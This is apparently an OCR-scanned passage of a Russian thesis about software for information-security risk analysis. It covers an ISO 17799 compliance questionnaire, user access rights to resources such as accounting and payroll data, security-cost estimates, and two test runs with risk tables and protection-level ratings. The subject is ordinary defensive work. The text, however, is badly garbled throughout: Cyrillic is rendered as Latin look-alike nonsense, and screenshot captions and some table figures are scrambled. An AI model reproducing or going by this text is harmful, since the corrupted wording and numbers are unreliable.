CYLECTBYOT A B KOMNSHMH PEMYAAPHEIE PACCHIIKM NO HHPOPMAUMOHHON BE30NaCHOCTH, MPEAHASHAYEHHEIE BCEH COTPYIHMISM [MHPOPMAUMA 08 HHUMAEHT X,
yrposel WT.A.17

= [la, ve pewe Yer pas & KBapTan
T Her

15
CYWECTEYET Al & KOMMEHMMH PErYAAPHO NOCELLAEMEI AANMAHUCTRETORAMM W OPULEPAMH BESONACHOCTI OPYM N0 MHPOPMAUMOHHON BEE0NACHACTH, Ha KOTORG!
OBCUKASITCA PA3AMMHEIE BOMPOCH], CEASAHHEIE © OEECMENEHUEM BE30MACHOCTI?

1 M [ ba
1 Her
Mocne oTeeTa Ha Bee BONPOCH! 07

HEWIMMTE KHOMKY HUE:
B cnyyae BEEAEHHA B 3K.CMYAT UMD HOBOIH MHPOPMALHOHHON CHCTEME [NOACHCTEME] CYWECTEYET A 06A3aTensEHoe TREG0EAHWE BE NPOBEPKH HA COOTEETCTEL

Lanee | CULIECTEUIOW B NOAMTHEH GB30NacHOCTH?
* la

i Her
18
. 33 6e30NACHOCTE NKGOMD LEHHOrS MHPOPMAUMOHHOMD PECYPCa B KOMNEHMM BCEraa Al OTEEHAET TOT WK MHOM OTEETCTESHHEIR COTPYAHMK ?
BaTom pasnens NpHESAEHS! « Na
BONPOCE! [0 TEMETHYSCK MM " Her
KATErOPUAM, KaKA8A W3 KOTOPEIX 1.4

MPEACTEENEHA HA OTAENEHOM
33KN20KE]. OTESTHE Ha KOTOPERIE,
NOES0BATENE FAHOCHT & " Da

CylecTEYET A4 ANA KEKAOTO PECYRCE CIMCOK NPAE AOCTYNS, TAK HASEIEAEMAA MATPHUE A0CTYNa?

CHCTEMY COOTBETCTEME % Her
MOACGKEHME NOAMTHE 1.0 ]
BESONACHOCTI KOMMAHWH B i
L T N1 AOrOEOP. OMPEAESIWHI YCNOEHE A0CTYNE 3-% CTOPOH?
TpefiosaHHAM cTaHnapTa IS0 17799 H(.. (> G & & P

7 of
dflnycxl ”? :H o ooz

Puc. 23. Untepdetic mporpammel. Bknaaka «Opranu3alinoHHbIE MEPBD».
[Tonb3oBaTeNt0 MpeAsioraeTcsi OTBETUTh Ha BOMPOCHI, pa3padOTAHHbBIE MOCIE HU3y4YEHUE
nosioxkeHnit MbO. Bompochkl CTpyKTypHpOBaHbI MO pasfenaMm crtanaaprta. Beibop paszmena
OCYILIECTBJISIETCS B JIEBOM YacTU DKpaHA MIETYKOM MPaBOM KHOMKK MBI, Bompocsl
0TOOpa)karoTcs B MPaBoOi yacTu. ITo Popma, Kak U BCE OCTaIbHbIE, CHAOKEHA MOICKa3KaMH.
ITocne oTBeTa Ha BCe BOMPOCHI, MOJIB30BATENIb HAXKUMAET KHOIKY Jalie€ U Mporpamma

NEPEXOAUT K CIEYIOIEMY OKHY.
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Cepsep_1
EyxranTepckan HHPOpMaura

—

TlaHHEA STaN NOSE0ARET YKASATE, KT0 M3 COTAYAHHKOE OpraHMSALHH HIMEET
LOCTYN K TOH MM HHOI MHPOPMALMK HE A3HHOM PECUPCE 3 TaKe
NpEBA[TERHE, 3aMMCE, UiBAsHME] 40CTYNA

Puc. 24. UnTtepdeiic mporpammel. Bknaaka «Zloctymy.
3nech HEOOXOAMMO ONPENENUTh JTOCTYI IMOJIb30BATEIECH M €ro mnpasa (YTE€HUE, 3aIuCh,
yaaleHue) KO BCEM pecypcaM, coaepkamuM IeHHylo wuHopmamnmio. [lepexomum

CJIEIYIOLEMY OKHY.

- CHCTEMa AHANWZA PUCKOE

1000000

Puc. 25. Unrtepdeiic nporpammsl. O1ieHKa 3aTpaT Ha MOAJIEpKaHne
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CUCTEMBI 0€30ITaCHOCTH.

Ha nmamHOM 3Tame paboThl C menbio ompeneneHne 3p(GEeKTUBHOCTH CHUCTEMBI 3alllUThI
nHpopMaIuu TpeOyeTcsl ONMPEACIUTh U BHECTH B CHCTEMY TOJHYIO CTOMMOCTH 3aTpaT Ha
obecrieueHre nHOOPMAITMOHHON OE30TTACHOCTH.

B stom ciiydae 3¢ pekTHBHOCTE MOKHO ONPEACTUTh KaK OTHOIIEHUE 3aTpaT K MOTEpsM

KOTOpBIE TOHECET KOMIAHUS B ClIydae peaan3aluu yrpo3 0e30mMacHOCTH.
3TO MOTYT OBITh:

3ampamel Ha ROKYNKY cucmem 3awumsl un@opmayuy. JIpyrumMu cioBamu, 3T0 CTOMMOCTb
JIUIIEH3UU TporpaMMHOro obecrnedeHus. Kpome Toro, He00OX0IMMO TakKe yuecTh B JaHHOM
IyHKTE 3aTpaThl Ha anmnapatHoe OOECHeUYeHHE - CTOMMOCTh OJIHOTO WM HECKOJIbKUX
KOMIIBIOTEPOB, Ha KOTOPBIX Pa3BEPHYThl KOMIIOHEHTBHl CHUCTEMBI 3alllUTHL. TaKxke
HEOOXOJIMMO YYECTh 3aTpaThl Ha MOKYIKY WJIM CO3/IaHHE CPEACTB TEXHUUYECKOM 3aIlUTHI.
[ToMHUMO 3TOro, 4acTO CHCTEMa 3allUThl HCMOJIB3YET TOMOJHUTEIBHOE MPOTPAMMHOE U
amnmnapatHoe o0ecrie4eHue, CTOMMOCTh KOTOPOTO TakKe HeOOXOIUMO y4HUThIBaTh. K Takomy
00ecIeueHnI0 MOKHO OTHECTH 0a3bl IaHHBIX, CUCTEMbl HACTPOUKU 000PYI0BaHUS, CHCTEMbI
pe3epBUPOBAHUSI, CETEBbIE KaOeau, TPOMHUKHU, CUCTEMbl OecriepeOoitHOro nurtanus u 1.1. B
KPYIIHBIX KOMIIAaHUSX, HMMEIOIIUX paclpeieieHHYI0 KOpPIOPaTUBHYIO CE€Th, HE CTOUT

3a0bIBaTh O 3aTpaTax Ha BHeJIpEeHUE (BKIIIOUAs dTall IPEABAPUTEITHLHOTO ay/INTa).

3ampamsi Ha no0depicKy u obOyueHue (€CIM OHA HE BKJIIOYEHA B CTOMMOCTH CHUCTEMBbI
3amuthl). Crofia k€ MOXKHO OTHECTH M KOMaHJIUPOBOYHBIE pacxojsl [T-crenuanucToB Ha
MOE3JKU B yAaJICHHbIE O(UCHI W HACTPOHUKY YAQJICHHBIX KOMIIOHEHTOB CHCTEMBbI

obecnieueHuss UHPOPMAIMOHHON OE30MaCHOCTH.

3ampamer Ha ynpaenenue (AAMUHUCTPUPOBAHNUE) CUCTEMOM 3aIUTHI, KOTOPHIE BKIIOYAIOT
3apIUiaTy aJMHHHCTPATOPOB 0E30MMaCHOCTH W JPYTroro IMepcoHaia, CBA3aHHOTO ¢ CHCTEMOMU
O0OHapy)KCHHS aTaK W MOJICPHU3ALMIO €€ MPOrpaMMHO-aIMIapaTHOTO odecneueHus. K 3ot
CTaThe PaCXOJ0OB OTHOCUTCSA OIJIaTa 3a YCIYTrd ayTCOPCUHTOBBIX KOMITAHUM U pearupoBaHue

Ha UHIMJIEHTHI 0€30IIaCHOCTH.
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Tenepb cuctema reHepupyeT OTYET U BHIBOJIUT MOJYyUYEHHBIE JAHHBIE HA 0003pEHHE.

S
hafin  Crpaska
9 OT4eT No pe3ynNbTaToM aHanM3a pUckKoB U NpOBSPKW OpPraHUSalMoHHbIX Mep oBacnsYeH1A
WHGDOPMAaLMOHHOK Be30nacHoCTH.
Samurs: u yrpose 1 AHANKE pUCKOS 1 TMpOBEpKa OPrHASSUHOHHG! MEp
~ DUEHKa CYINECTEWOLIErD YPOBHA SAWMTS ~ CYrMaPHEI WPt No KN3cey Yrpos B anuHL
Beicokuin
KonuasHumnansHocTs 150808
Bowe cpeavero
. UenocThocTs 707793
Cpearus
Hume cpeavero Hoctynnocts E21947
Huzri
Bezroirmen o - DIBLLMiA CUMMEEHEN WLEpE 83g601
1 CyramapHEIi pUCE MO KASCCY Yrpos EAHHHLLE! [ 3ATPSTEI HA3 NOCTPOSHUE CHUCTEMEl SAWMTEL CYUMMARHEIR PUCK M 3 PPEKTHEHOCTE
Sarpare 1000000
KeHPpIA EHUMAAHOCTE: 202212 Prce 1502456
UenoctrocTe 1300244
SpperTHErOCTE 05655769 |
TocTynnocTe ]
DB cumapro puck. 1502456
1 =l

41
e | o] =] = e

Puc. 26. UnTepdeiic nporpammel. Bkinanka «3amura 1 yrpo3b».

JlanHasi BKJaJKa TIO3BOJISIET TIOJB30BATEII0  BU3YAIbHO OIICHHUTH CYIIECTBYIOIIHIA
ypOBEHb HH(POPMAIIMOHHOM 3alUThI, CYMMapHBIH PUCK U YIIepO MO TpeM KiraccaM yrpo3 M
3¢ (HEKTUBHOCTH CYIIECTBYIONIEH CUCTEMBI 3aIUTHI.

[Tpu miemake MBIH 1O BKIAAKE «AHAIA3 PUCKOB»Ne MOSBISIFOTCS €Ie JBE BKJIAJIKH |,

ACMOHCTPUPYIOIIHUEC KaYCCTBCHHLIC U KOJIMYCCTBCHHBIC ITOKA3aTCIIN PHUCKOB
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aiin  Crpaexa

1=

=

WMHPOPMALMOHHO Ge3onacHoCTA.

OT4eT No pe3ynbTatoM aHanNnM3a prckoB M NMpoBepK opraH1M3auoHHbIX Mep oBeacneYdyeHnA

SawmTe! W urpose! T Ananus puckos 1L MpPOBEpKa OPrHMSaUMOHHBIX MEep
KauecteenHbie nokasarent T KonuecTeenHee nokasaren
Pecype [Mrpopraumns [ KeneraenunanshocTs [ UenoctHoeTe: [ AocrynHocTe. |
B uxranTepcKan UHMOpPMaLUa Puckran | Puckman Puick rsn |
Cepeen_1 | HMrsbopmain o sapnnaras Phick man Prck ouers c s ECTEEHMER Pick auers o wecTEe
LHETPHBYTUE ! NPOrPEMMHEIR NPOAYKTOE Frck man Phor man Phor man
B ysranTepck an uHPOpMAaLUA Prick man Prick man Prick man
Crarua_1 | Hrdbopmauus o sapnnarax Pick man Puck ouers o wwecTEERMER Pick ouert o ywecTee
LHETPHBYTHEE! NBOrPaMMHEIR NPOAUKTCS Prck man Phck man Phck man
Cramuna_2 | [UcTPHSUTUEE! NPOrpanHe: MpoayKkTos | Puckman | Puck ousns o " Puck ouers o ywecTeer
Cramun_3 | BUSTANTERCKas unbopmaLum Pick man Prick man Prick man
= | McxoaHEIS TERCTE MDOMDAMMHEIX NDOAYKTEE | PHEK Man PUCK GUEHE CULLECTEEHHLI PUCK GUeHt cuLLEcTES
Eyura Puck npa PLCK NpaKTuvecKku oTeyTeTEYST Prick orc
CepBer_l | Mnpopraus o sapnnaras PMCK NPaKTMYECKM OTCYTETBUET PLICK MPaKTUIECKI OTCYTCTBYET
<1 »

KN

iy | el 2|

Puc. 27. UnTepdeiic nporpammsl. Bkianka « AHaINW3 pUCKOB.

KauecTBEeHHBIE TOKA3ATEIIIN).

K.a4ECTBEHHEIE MoK a3aTeH T {KoNHYECTBEHHLIE NOKa3aTend
Pecypc |HH¢npmauHﬂ |K0H¢meHuHaanoch ||.lenc|m-|umb |ﬂomgnﬁnmb i
Bysraimepcy an HHopMALKA 100000 134000 I |
Cepeep 1 MHaopmaumd o sapniaras 10000 16000 I
JcTpMEyTIAER IRorpatHel: noogyerce B000 8000 1
Bysraimepcy an HAOpMALMA 10000 7332 I
Cranupa_1 | MHdopmauua o sapnnara 10000 4000 I
JMCTRWAYTHER ) MpOrpattHER MpoykTos | D776 2000 0
CradumA_2 | [WCTpHAYTHER! NporpantHel npoayoe 3333 4000 23020
s 3 Bysraiepey af HHPOpMALKA 5334 B6710 23020
= | cwonHele TeKCTE MporpartHEL: npogykTos | 33334 13340 23020
Bysraimepcy af HHopMALKA 0 0 I
Cepeep 1 MHaopmaumd o 3apnnaras 0 0 I
JcTpHeTIHBR porpartHed npoykroe 0 0 0 v
. f

Puc. 28. UnTepdetic mporpammel. Bkinanka « AHaIu3 prucKoOB.

KonmuecTBeHHBIC TTOKA3aTECIN.

[Tocnennsisa  Bkiagka “IIpoBepka  opraHu3alMOHHBIX

29

Mmep

JEMOHCTPUPYET
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IMOJIB30BATCIIO , KOJUYCCTBO HC COOTBCTCTBYIOIIMX OPTaHU3AIMOHHBIX MEP ITOJIOKCHUAM

MBO u BEIBOIUT MOSICHEHUE.

hafin_ Cnpaska

9 OTHeT Mo pe3ynbTaToM aHanMsa PUCKoOE W MPpOoBEepPKH OPraHM3aloHHbIX Mep oBecrneHeHs
MH@POPMALWMOHHOKM Be30MacHoCTI.

Sl 1 urposs! 1 Anams prcKos T NMposepKa oprHASaUMOHHEX Mep

e [ [omes =
T1  Heobrommms mobwmen mormro e pe— B e
12 Tpebyemca zmomsems = #

1.4 TpeGyercx i nomeerEaze = cmyraas = crereny
1.5 Cornacmn 150 17799, = o owcecex b2 D3I paccxm IO
15 B i @opym oo # = = €

1.7 Tpxzsemeraars

Bezomaczoem nepeo: reama 3.5, Corpyrmame wonmrasmm: ze o smeTs - i sereee i oy wpz

3.7, Ha crammo: nafina na paBoTY mormHo o ¢

Trrws Tmsnemes 503 MARATE IO TRARATITRS & TORSTI [ERp— TR T e
4

ns11
ns 2
ns11
us 23
uz 34
uz 21
us 8
us 6
uz9

Ccoocoocoooao

Puc. 29. Uurepdeiic mporpammel. Bknaaka « [IpoBepka
OpPraHU3alHOHHBIX MEP» .

4. TecTupoBaHHe CHCTEMbI

JlaHHBIA TTYHKT HEOOXOAWM [IJIsi TIPOBEICHUS IMPOBEPKU BEPHOTO (DYHKIIMOHUPOBAHUS
pacdyeTHoro 0Jioka TporpaMMHOro koja (ero yactu). TecTupoBaHHE HAINpPaBICHHO Ha
U3Y4YEHUE 3aBUCUMOCTHU MOTEPHh OPTaHU3AIMU OT HEKOTOPBIX (HaKTOPOB ( OT KiIacCH(pUKAILIHS
37IOYMBIIIUICHHWKA, TpaBa JOCTyla MOJb30BATENCH CHUCTEMBI M OPTaHU3alMOHHBIX MEp
obecrnieuennst HHOOPMALIMOHHON O€30IIaCHOCTH).

Hcnone3yemasi Tpu TECTHUPOBAHMHM TMPOTPAMMHOTO TMPOAYKTa HWHGOpMAaNus HE

OCHOBBIBAE€TCS HAa KOHKPETHBIX 3HAYCHMSIX, JJIi KOHKPETHOTO TMPEANPUATHS — 3TO

aOCTpakTHBIC JaHHbIE 00 aOCTPAKTHOM MPEANPUATHH, HEOOXOIUMBIE sl Tpoliecca

TECCTUPOBAHUSI.

Tabmnura 5. Ucxomuple JaHHBIE JUIS UCCIIEIOBAHMS.

Bunbr uadopmanyn byxrantepckas nadopmarus
Nudopmarus o 3aprimaTax
Nudopmarus o kueHTax B

AJIEKTPOHHOM BH/JIE
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Hcxoaabie TEKCThI MTPOrPaMMHBIX
MIPOAYKTOB

JucTpruOyTHUBEI MPOTPAMMHBIX
IPOAYKTOB ( B TOM YHKCIE U
COOCTBEHHBIC)

WNudopmanus o mapTHepax B

AIEKTPOHHOM BHJIC

[Tonb3oBaTENN CUCTEMBI CucteMHbIN aAMUHUCTPATOP
Odunepst 6e30macHOCTH

Ilonb30Barenn

AnmnapaTHbI€ CpeJICTBa CereBas rpymnmna:
OnuH ceprep

Tpu pabouux cranuu

Tenepsb OCyIIECTBUM NMPUBA3KY NTAHHBIX. PAcmoNoXKUM Ha Ka)KJIOM U3 pAHEE BBEICHHBIX
pecypcoB yKa3aHHbIE BUJIBI IICHHOW HH(pOPMAITUH.

Ta6nuna 6. [IpuBsizka JaHHBIX

Cepsep Hcxoanbie TEKCTHI TPOTPaMMHBIX
POJIYKTOB

JucTpuOyTUBBI TPOTPAMMHBIX
MPOAYKTOB (B TOM YHCIIE U

cOOCTBEHHBIE)

Pabouast cranuust oquH Byxrantepckas nunpopmanus

Nudopmarus o 3apmiarax

PaGouast cranmms n1Ba Byxrantepckas nuadopmanus

Nudopmarus o 3apriatax

PaGouast cranmus Tpu Nudopmarnus o kmueHTax B

QJICKTPOHHOM BHAC

72



WNudopmanus o mapTHepax B

QJICKTPOHHOM BHAC

Jlnis ompeneneHrs CTOMMOCTH HH(OpMAIMH, HEOOXOTUMO OIEHHUTHh YIIEpO, KOTOPHIi
IIOHECET KOMIIaHMsI B CIIy4yae peajn3aluy TpeX KIaCCUYECKUX yrpo3.

B mpeapiayiem mare Mbl pa3MECTHIIM OJMH M TOT K€ TUN WH(OpPMAalUU Ha JABYX
pabouyux cTaHUUAX. B 3TOM miare Mbl enie U OUEHUM MX OJUHAKOBO. B KOHIIE TECTOB MbI

IIOCMOTPHUM PE3YJIbTAT U OICHUM, Ha CKOJIBKO ITPAaBUJIBHO pa60TaeT AJITOPUTM CUCTCMBI.

Tabnuua 7. Ouenka undopmanuu

Pecypc | Madopmarnus VYiepo, B ciayyae VYiepo, B Yep6, B
yTPO3BI cllydae yrpo3bl | cllydae
KOH(HIEHIIMATBHOCTH, | IIEIOCTHOCTH, | YTPO3bI
pyoO. pyo. JOCTYITHOCTH,
pyo.
CepBep | Mcxonubie 80 000 50 000 120 000
TEKCTBI
IPOrPaMMHBIX
POIYKTOB
Huctpubytuser | 110 000 80 000 170 000
IPOTPaMMHBIX
POIYKTOB
Pabouas | byxranrepckas |5 000 140 000 120 000
CTaHIUs | “HPOpMAaIIUS
OJIVH Nudopmarus o | 130 000 260 000 100 000
3apruraTax
Pabouas | byxranrepckas |5 000 140 000 120 000
CTaHIUs | “”HPOpMaIIUS

73



IBa Nudopmarus o

3apIiuiaTax

130 000

260 000

100 000

Pabouas | Madopmarnus o
CTaHIUS | KJIMCHTAX B
TpH AIIEKTPOHHOM

BHUAC

150 000

170 000

250 000

HNudpopmanus o
napTHepax B
AIIEKTPOHHOM

BHUAC

160 000

145 000

300 000

Ornpenenenne 10CTyna Mbl POU3BEIEM I10 CIEAYIOIIEN CXEME:

1) OrpanuuuMm JOCTYIl BCEX IMOJb30Bareiell K HH(OpMaIMU, XpaHAIIEHCS Ha MepBOM

paboueit CTaHIUH.

2) K Tem xe BugaM MHGOpMAIMK Ha BTOPOM pabouyell CTaHIIMM IpaBa JIOCTYIA OLEHUM I10

pazHOMYy.
Ta6nuna 8.0npenenenue npas JOCTYIA MOJb30BaTENEH Ha paboueil CTaHIuKU J1Ba
[Tonp30BaTenu Nudopmanus [IpaBa nocrymna
CucreMHbIH byxranrepckas UreHue , 3a11UCh,
aAMUHUCTPATOP uH(popmaus yaajieHue

HNudopmanus o

YreHue u 3ammch

3apriaTax
Odunep 6e3onacHocTr Byxranrepckas UrteHnue , 3aMuch,
uHpopmarus yAAJIEHUE

Nudopmarus o

3apruiaTax

YreHnue u 3ammch

Ilonw30Bareinn

byxranrepckas

uHbopMaIus

YreHue u 3a1mnch
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HNudopmarus o

3apIuiaTax

Yrenue

3) YkaxeM noctyn K HHQOpMAIINH, XpaHsIIIencs Ha cepBepe U Ha TpeTel pabodeil cTaHnuu

B XaOTUYHOM IIOPAJKC.

Tabmuma 9. Onpenenenne mpaB JOCTYIIA MOJIB30BATEICH HA pabouel CTaHIIUU TPH

napTHepax B

AJIEKTPOHHOM BH/JIC

ITonp30BaTenu HNudopmanus IIpaBa nocrymna

CucreMHbII Nudopmanus o kinuentax | Urenue , 3anuch,

aAMUHUCTPATOP B DJICKTPOHHOM BUJIE yAAJICHUE
HNudopmanus o Yrenue

Od¢unep 6e3onacHocTu

Nudopmanus o KireHTax

B 3JICKTPOHHOM BHJIC

JlocTyn OTCyTCTBYET

HNudopmanus o
napTHepax B

QJICKTPOHHOM BHAC

Yrenue, 3anuch

[Tonp30BaTens Nudopmanus o kameHTtax | Jloctyn oTcyTCTBYeET

B DJICKTPOHHOM BH/JIC

Nudopmarus o UreHnue

napTHepax B

AIEKTPOHHOM BHJIE

Ta6muma 10. Onpenenenue nmpas 10CTyNa MOJIb30BaTeNeil Ha cepBepe

[Tonmp30oBaTenu Nudopmarus [IpaBa nocryna
CucrteMHbI HcxoHbIe TEKCTBI YTEHUE

aIMUHHACTPATOP

MIPOTPAMMHBIX MPOAYKTOB
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JuctpuOyTUBBI Urenue n 3anuch
IIPOTrPAMMHBIX ITPOYKTOB
(B TOM 4HCIIE U

COOCTBEHHBIE)

Od¢unep 6e30nmacHocTH HcxogHbie TEKCTHI Yrenwue, 3aMUCh,

IIPOTPAMMHBIX IMPOAYKTOB | YIaJICHHUE

JuctpuOyTUBBI Urenue n 3anuch
IIPOTrPAMMHBIX ITPOYKTOB
(B TOM 4MCIIE U

COOCTBEHHBIC)

[lonp3oBartenb I/ICXOILHBIG TCKCThI HOCTYH OTCYTCTBYCT

IIPOTPAMMHBIX MMPOAYKTOB

JuctpuOyTUBbI JlocTyn OTCyTCTBYET
IIPOTPAMMHBIX IIPOAYKTOB
(B TOM 4mCIIE U

COOCTBEHHBIC)

Hanee, JUIsL TIPOBEPKM OPraHU3alMOHHBIX MEpP, OCYIIECTBUM HEBBINOJHEHUE
OonpImMHCTBA  TpeOOBaHUA MeEXIyHapoaHoro ctanaapra ISO 17799. Dto mo3BoauT
YBEJIUYUTHh YPOBEHb YS3BUMOCTH cUCTeMbI. C MOMONIBI0 OTBETOB HAa BOIPOCHI CBSI3AHHBIX C
TEM, Ha CKOJbKO COTPYAHUKUA 3aMHTEPECOBAHbI B HEMPABOMEPHBIX JACHCTBUSAX, Mbl
YBEJIUYHUM YPOBEHB yIPO3.

OueHuM eXerogHble 3aTpaThl HAa oOecnedeHus HHPopMauuoHHOM Oe3onacHocTy B 500

TeICSTY pyOnel. [Iporiecc TecTupoBaHus n1aj CIEAYIONINE PE3yIbTaThI.

Tabnuua 11.Pe3ynbrar pacuera KOJIMYECTBEHHON XapaKTEPUCTUKHU PUCKOB

Pecypc | Uadbopmarus Puck cBs3anHbIN C Puck Puck

yrpo30ou CBSI3aHHBIM C | CBA3AHHBIU C
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KOH(UICHIIMATBHOCTH, | YTPO30H yrpo30i
pyo. IIEJIOCTHOCTH, | TOCTYITHOCTH,
pyo. pyo.
CepBep | Mcxonnbie 480 000 400 000 960 000
TEKCTHI
MPOrPaMMHBIX
MPOJYKTOB
HNuctpubytusel | 660 000 640 000 1 020 000
MIPOrPaMMHBIX
MPOJYKTOB
PaGouas | byxranrepckas | 30000 840000 720000
CTaHIMs | HTHPpOopMalus
OJINH Nudopmanus o | 780000 1560000 600000
3apriaTax
Pabouas | byxranrepckas | 40000 1120000 960000
CTaHIUs | HH(pOpMAIIHS
1Ba Nudopmamus o | 1040000 2080000 600000
3apruraTax
Pa6ouas | Uadopmanms o | 900000 1020000 1500000
CTaHIUS | KIMCHTaX B
TpH AIIEKTPOHHOM
BUJIE
Nudopmamus o | 960000 870000 1800000
napTHepax B
AIIEKTPOHHOM
BUJIC

Tab6nuia 12. Pe3ynbrar pacdyera kKaueCTBEHHOU XapaKTEPUCTUKN PUCKOB
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Pecypc | Uadbopmarus Puck cBs3anHbIN C Puck Puck
yrpo30ou CBSI3aHHBIM C | CBSI3aHHBIN C
KOH(HICHIIMATEHOCTH | YTPO30H yIpO30ii
LEJIOCTHOCTH | TOCTYITHOCTH
Cepsep | UcxonHbie Puck Benuk Puck ouenn Puck ouenn
TEKCTHI BEJIMK BEJIMK
MIPOrPaMMHBIX
MPOIYKTOB
HuctpuOyTtuBbl | Puck Benuk Puck ouenn Puck ouenn
MPOrPaMMHBIX BEJIMK BEJIMK
IIPOAYKTOB
PabGouas | byxrantepckas | Puck Benuk Puck Benmuk Puck Benuk
CTaHIUs | “HpOpMALIUS
OJIVH Nudopmarust o | Puck Benuk Puck Benuk Puck Benuk
3apruiaTax
Pabouas | byxrantepckas | Puck ouenn Benuk Puck ouenn Puck ouenn
CTaHIUs | H”HPOPMALIUS BEJIMK BEJIMK
IBa Nudopmarust o | Puck oueHs Benuk Puck ouenn Puck ouenn
3apriaTax BEJIMK BEJIMK
Pabouas | Uadopmanms o | Puck Bemuk Puck Benuk Puck Benuk
CTaHIUA | KJIMEHTAaX B
TpH AJIEKTPOHHOM
BUJIE

Nudopmanus o
napTHeEpax B
AIEKTPOHHOM

BUJIE

Puck Benuk

Puck Benuk

Puck Benuk

[Ipu sTOM crcTema nokasana ypoBEHb CUCTEMBI 3aIUTHl KAK HU3KHM.
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— OueHEa CyWECTEYMIWLEND YROBHA SaLLATE

Bricokui  ——
Brewe cpegHero ——
CpegHuin  ——

Huse cpegHero ——

Huzkmin —— ﬂ
DyeHE HHZKMEA

Puc. 30. Ouenka ypoBHs 3amuThl. T€CT HOMEp OJIMH.

Jlanee mpoBeeM cienyrolee UCIbITaHHe POrpaMMHOTO KoMIuiekca. Terneps Ha000pOT,
nornpoOyeM BBITIONHUTh Kak MOXHO Oonbiie TpeboBanuii ctanmapta 1SO17799.9t1o
MO3BOJIMT YBEIUYUTh YPOBEHBb YS3BHUMOCTH CHUCTEMBI M B HEKOTOPBIX CIIydasiX YpOBEHb
yrpo3. OTBETHl OTBETOB Ha BOMPOCHI CBS3aHHBIE C TEeM, Ha CKOJIBKO COTPYIHUKHU
3aWHTEPECOBAHBI B HEMPABOMEPHBIX JCHCTBUSAX OCTABUM TaKHMMH K€ KaK M B IEPBOM TECTE.

[Ipouecc TectupoBaHus Aan CIEAYIOUIAE PE3YIbTATHI.

Tabnuna 13.Pe3ynbrar pacuera KOTUYECTBEHHON XapaKTEPUCTUKUA PUCKOB

Pecypc | Mndopmanus Puck cBs3annbeii ¢ | Puck Puck
yrpo30u CBSI3aHHBIM C | CBA3aHHBIA C
KOH(UICHIIMATBHOCTH, | YTPO30H yIrpo30i
pyo. I[EJIOCTHOCTH, | TOCTYITHOCTH,
pyo. pyo.
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CepBep | Mcxonnbie 160000 100000 240000
TEKCThI
HPOTPaMMHBIX
MIPOJYKTOB

HMuctpubytussr | 220000 240000 340000

IIPOTPaMMHBIX

IIPOAYKTOB

Pabouas | Byxrantepckas | 10000 280000 240000
CTaHIMs | HHPpOopMalus

OJINH Nudpopmanus o | 260000 520000 200000

3apIiuiaTax

Pa6ouas | byxranrepckas | 10000 420000 240000
CTaHIMs | HTHPpOopMalus

JIBa Nudopmarus o | 260000 780000 200000

3apruiaTax

Pa6ouas | Uudopmanms o | 300000 340000 500000
CTaHIUS | KIIMEHTaX B
TpH IIEKTPOHHOM
BUJIC

Wudpopmanus o | 320000 290000 600000

napTHepax B

AIEKTPOHHOM

BHJIE

Tabnuma 14. Pe3ynbrar pacuera KaueCTBEHHON XapaKTEPUCTHKU PUCKOB

Pecypc | Uadopmanus Puck cBs3annbii  c | Puck Puck

yIpo30H CBSI3aHHBIH C CBSI3aHHBIM  C

KOH(UICHIIUATLHOCTH | YTPO30H yIpo30ii
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napTHepax B
AIEKTPOHHOM

BUJIE

LEJIOCTHOCTH | JOCTYITHOCTH
Cepep | Ucxonubie Puck man Puck man Puck man
TEKCTBI
MIPOrPaMMHBIX
MPOIYKTOB
HuctpuOyTtuBbl | Puck man Puck Puck
IIPOrPaMMHBIX CYILLIECTBEHHBIN | CYLIECTBEHHBIN
MPOIYKTOB
PaGouas | Byxrantepckas | Puck man Puck man Puck man
CTaHIMs | ”HPpOpMaLIHS
OJVIH Nudopmarnus o | Puck man Puck man Puck man
3apIuiaTax
Pabouas | Byxrantepckas | Puck man Puck Puck
CTaHIUs | ”HPOpMaLIUS CYILIECTBEHHBIN | CYIIIECTBEHHBIN
IBa Nudopmarust o | Puck man Puck Puck
3apriaTax CYILLIECTBEHHBIN | CYyIIECTBEHHBIN
Pabouas | Uadopmanus o | Puck man Puck man Puck man
CTaHIUA | KIMEHTax B
TpH AIEKTPOHHOM
BUJIE
Nudopmarust o | Puck man Puck man Puck man

OpraHu3alMOHHBIE  MEPBI

crangapta 1SO 17799.

HE COOTBETCTBOBWIM 23 TIOJOXKEHUSIM MEXKIYHAPOIHOTO
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— OueHEa CYWECTEYHIWEND YDOEHA SaLLMTE

Bricokui  ——
Briwe cpegHero —— _
CpegHHi  ——

Huse cpegHero——

Huzkuin ——

JyEHE HUZKMA

Puc. 31. Ouenka ypoBHs 3amuthl. TecT HOMEp /1Ba

W3 mpencraBneHHOr0 MaTepuaia Mbl BHAUM , YTO MPOM3OIUIO YMEHBIICHHE PUCKA 0
ornpeAeseHHOro ypoBHsa. OJHaKO YpPOBEHb YIpO3bl CO CTOPOHBI COTPYAHHKOB OCTajCs Ha
ONpEJEICHHOM ypOBHE, M 3TO Aallo O cede 3HaTh. B 1enmom cucrema oOleHWIIa YPOBEHBb
3aIUTHI KaK BBILIE CPEAHETO.

[TonydeHHbIe TaHHBIE TOBOPSAT O TOM, 4YTO HE COOJIIOJICHHE MOJIoKeHUH cranmapra 1SO

17799 npuBOAUT K YBEIUYEHHUIO PHUCKA CBSI3aHHOTO C Yrpo30il KOH(PHUACHIIMAIBHOCTH,
LEJIOCTHOCTU U JIOCTYIHOCTU. DTO B MOJIHEE CIIPABEAJIMBO TaK KakK, CTaHJAPT OINpeaesseT
0a30BbIi HAOOp TpeOoBaHWil Oe3omacHocTH Uil mupokoro kiacca WC, kotopwiid
dbopmupyeTcs B pe3ybTare 0000IeHUS MUPOBOI ITPAKTUKH.
MBI 3aMeTUIM, 4YTO YPOBEHb PHCKOB Ha paboueil CTaHILIMHU JBa BBIIIE YEM Ha HOMEp OJUH.
OTO TOBOPUT O TOM UTO, MPEAOCTABICHHWE TMPUBWICTUPOBAHHBIM TMpaB [oCTyma K
uHbOpMaIlMK, YBEIUYUBACT YPOBEHb Yrpo3bl. Jljii GOppOBI ¢ 3TUM MOXKHO MPEANPHUHSITDH
CJIEIYIOILUE MEPBHI.

Jl71s TOTO, 9YTOOBI MOHU3UTH PUCK BPEIOHOCHOTO BO3JICHCTBUS CO CTOPOHBI COTPYIHUKOB,
HEOOXOJMMO YK€ TMpPU COCTaBICHUU JODKHOCTH MAaKCHUMajJbHO MUHUMH3UPOBATH

KOJIMYCCTBO I/IH(l)OpMaLII/IOHHBIX 06’BCKTOB, K KOTOPLIM I10JIb30BATCJIb 6Y)ICT HMCTb OOCTYII
